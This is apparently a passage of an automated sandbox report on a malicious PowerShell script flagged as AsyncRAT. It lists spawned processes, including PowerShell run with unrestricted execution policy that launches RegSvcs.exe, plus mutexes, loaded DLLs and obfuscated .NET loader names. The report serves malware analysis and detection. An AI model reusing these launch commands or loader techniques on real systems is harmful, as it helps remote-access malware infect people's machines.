Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05600961	4_2_05600961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_056028D8	4_2_056028D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608467	4_2_05608467
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_056006C0	4_2_056006C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_056083BF	4_2_056083BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05600FAE	4_2_05600FAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608E50	4_2_05608E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05603B39	4_2_05603B39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608B1F	4_2_05608B1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608A63	4_2_05608A63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05600AF8	4_2_05600AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608ADF	4_2_05608ADF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05608A8A	4_2_05608A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 1876

Source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegSvcs.exe PID: 1056, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -----------------------------------------.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -----------------------------------------.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -----------------------------------------.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -----------------------------------------.cs	Cryptographic APIs: 'CreateDecryptor'

Source: powershell.exe, 00000000.00000002.1672895709.000001E7098B5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: classification engine

Classification label: mal100.troj.evad.winPS1@9/14@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\o8kSNczORMveFDjV
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1056
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5168:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raxan3yr.n0w.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: QP2uO3eN2p.ps1	ReversingLabs: Detection: 23%
Source: QP2uO3eN2p.ps1	Virustotal: Detection: 28%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5968" "2404" "2616" "2496" "0" "0" "2348" "0" "0" "0" "0" "0"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 1876
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5968" "2404" "2616" "2496" "0" "0" "2348" "0" "0" "0" "0" "0"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.PDBs source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb$3 source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbMZ@ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #.dll.pdb source: powershell.exe, 00000000.00000002.1673465265.000001E70CD29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1697055181.000001E723A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3150292171.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: ?;oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdbMZ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: %%.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.pdbj- source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\RegSvcs.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3163033703.00000000053A1000.00000004.00000020.00020000.00000000.sdmp, WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb@ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: mscorlib.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.pdbH source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: @;o.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: HP/o0C:\Windows\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -----------------------------------------.cs	.Net Code: _202B_200C_206B_202B_200F_202E_206A_206B_206F_206A_206F_206D_206B_206B_202B_202E_200B_200D_206C_202C_200E_200C_206B_202B_200C_200E_202E_200B_202A_200D_200C_206E_200B_206E_206E_202A_200B_206D_202A_202C_202E System.AppDomain.Load(byte[])
Source: 0.2.powershell.exe.1e71b9f4ea8.4.raw.unpack, -Module-.cs	.Net Code: _202B_202D_200B_200C_202A_206F_206C_206C_200E_200E_202C_206B_200B_200E_202B_202B_200B_206B_200E_206D_206C_202B_200C_206F_206C_202A_200F_206F_206F_202D_206C_206A_206B_206E_202A_200C_202E_206A_200D_200F_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_00007FFB4B06E83C push esp; ret

0_2_00007FFB4B06E842

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
